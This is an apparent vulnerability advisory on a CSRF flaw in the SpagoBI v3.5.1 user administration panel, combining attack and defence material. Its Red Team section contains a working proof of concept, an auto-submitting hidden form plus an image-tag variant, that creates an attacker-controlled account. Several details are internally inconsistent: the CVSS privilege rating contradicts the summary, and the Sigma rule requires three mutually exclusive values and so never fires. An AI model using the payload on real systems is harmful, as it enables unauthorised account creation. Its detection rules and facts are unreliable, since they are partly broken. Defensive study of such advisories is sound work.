CVE-2024-54792

Executive Summary

CVE-2024-54792 identifies a Cross-Site Request Forgery (CSRF) vulnerability in SpagoBI v3.5.1, specifically within the user administration panel. This flaw allows an authenticated attacker to trick another authenticated user into unknowingly performing actions such as adding, editing, or deleting users. The vulnerability stems from a lack of CSRF tokens or other anti-forgery mechanisms in sensitive administrative functions. With a CVSS score of 0.0 (likely uncalculated or placeholder), the actual risk is moderate, as it requires user interaction and authentication. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

SpagoBI is a Java-based open-source business intelligence platform. While not an NPM, PyPI, Go, or Ruby package, its deployment often involves Java WAR files and dependencies. Organizations should verify the integrity of their SpagoBI distribution and monitor for any third-party library updates that may address this vulnerability.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Attacker does not need prior access.
• User Interaction (UI): Required (R) – Victim must be logged in and click a malicious link.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): High (H) – User accounts can be modified or deleted.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. Exploitation requires social engineering, but the impact on user administration is severe.

Deep Dive & Mechanics

The vulnerability exists in the user administration panel of SpagoBI v3.5.1. When an authenticated user performs actions like adding, editing, or deleting users, the application does not validate a unique CSRF token. This allows an attacker to craft a malicious HTTP request (e.g., via an image tag or form submission) that, when visited by an authenticated victim, executes the action with the victim's privileges.

Root Cause: Missing CSRF protection in the user administration endpoints. The application likely relies solely on session cookies for authentication, without requiring a nonce or token for state-changing requests.

Attack Flow:

1. Attacker identifies the target SpagoBI instance and user administration URLs (e.g., /SpagoBI/UserServlet?action=addUser).
2. Attacker crafts a malicious HTML page or email containing a hidden form or image tag that submits a request to add a new admin user.
3. Victim, authenticated to SpagoBI, visits the malicious page.
4. The browser automatically sends the forged request with the victim's session cookie.
5. SpagoBI processes the request, creating a new user account controlled by the attacker.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the user administration servlets or controllers. A patched version would include CSRF token validation.

Vulnerable (Conceptual Java Servlet):

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
    String action = request.getParameter("action");
    if ("addUser".equals(action)) {
        String username = request.getParameter("username");
        String password = request.getParameter("password");
        // No CSRF check
        userService.addUser(username, password);
    }
}

Patched (Conceptual):

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
    String csrfToken = request.getParameter("csrfToken");
    if (!csrfToken.equals(request.getSession().getAttribute("csrfToken"))) {
        response.sendError(403, "CSRF token mismatch");
        return;
    }
    String action = request.getParameter("action");
    if ("addUser".equals(action)) {
        String username = request.getParameter("username");
        String password = request.getParameter("password");
        userService.addUser(username, password);
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• SpagoBI v3.5.1 running on a local server (e.g., Tomcat).
• Two user accounts: victim (admin) and attacker (standard user).
• Attacker-controlled web server to host malicious page.

Exploitation Steps:

1. Identify the user administration endpoint (e.g., via browser dev tools or source code review).
2. Create a malicious HTML page:

<html>
<body>
<form id="csrf" action="http://target/SpagoBI/UserServlet" method="POST">
    <input type="hidden" name="action" value="addUser">
    <input type="hidden" name="username" value="hacker">
    <input type="hidden" name="password" value="pwned123">
    <input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Host the page and send the link to the victim (e.g., via email or chat).
4. When the victim visits the page, the form auto-submits, creating a new user.

Alternative Payload (Image Tag):

<img src="http://target/SpagoBI/UserServlet?action=addUser&username=hacker&password=pwned123" style="display:none;">

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /SpagoBI/UserServlet with parameters like action=addUser, action=deleteUser, or action=editUser.
• Alert on multiple user creation events from the same IP or session within a short time.
• Check for missing Referer header or unexpected Origin headers in administrative requests.

Prevention:

• Implement CSRF tokens in all state-changing forms.
• Validate the Referer header for same-origin requests.
• Use SameSite cookies (set to Lax or Strict).
• Require re-authentication for sensitive actions (e.g., adding admin users).

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /SpagoBI/UserServlet with parameters action=addUser, action=deleteUser, or action=editUser from unexpected referrers.
• Logs: Multiple user creation events in SpagoBI audit logs from the same session or IP.
• File: Presence of unexpected user accounts in the SpagoBI user database.
• Behavior: Unusual spikes in user administration activity outside normal business hours.

Detection Engineering

YARA Rule

rule CVE_2024_54792_CSRF_SpagoBI {
    meta:
        description = "Detects CSRF exploitation attempts against SpagoBI user administration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54792"
    strings:
        $s1 = "action=addUser" ascii wide nocase
        $s2 = "action=deleteUser" ascii wide nocase
        $s3 = "action=editUser" ascii wide nocase
        $s4 = "/SpagoBI/UserServlet" ascii wide nocase
    condition:
        any of ($s*) and #s4 > 0
}

Sigma Rule

title: SpagoBI CSRF User Administration Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSRF attacks against SpagoBI user administration panel
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/SpagoBI/UserServlet'
        cs-uri-query|contains|all:
            - 'action=addUser'
            - 'action=deleteUser'
            - 'action=editUser'
    condition: selection
falsepositives:
    - Legitimate administrative actions from trusted IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54792 SpagoBI CSRF User Administration"; flow:to_server,established; content:"POST"; http_method; content:"/SpagoBI/UserServlet"; http_uri; content:"action=addUser"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable User Self-Registration: If not required, disable the user registration feature to reduce attack surface.
2. Implement CSRF Tokens: Add a unique, session-bound CSRF token to all user administration forms. Validate on the server side.
3. Enable SameSite Cookies: Configure SpagoBI's session cookies with SameSite=Lax or Strict attribute.
4. Validate Referer Header: Reject requests to user administration endpoints that do not originate from the same SpagoBI domain.

Long-Term Fix:

• Upgrade to a patched version of SpagoBI once available.
• Conduct a security audit of all administrative endpoints for missing CSRF protection.
• Implement a Web Application Firewall (WAF) rule to block suspicious requests to /SpagoBI/UserServlet.

Workaround:

• Restrict access to the user administration panel to trusted IPs via firewall rules.
• Use a reverse proxy to add CSRF validation headers.

Valters IT
Securing Digital Frontiers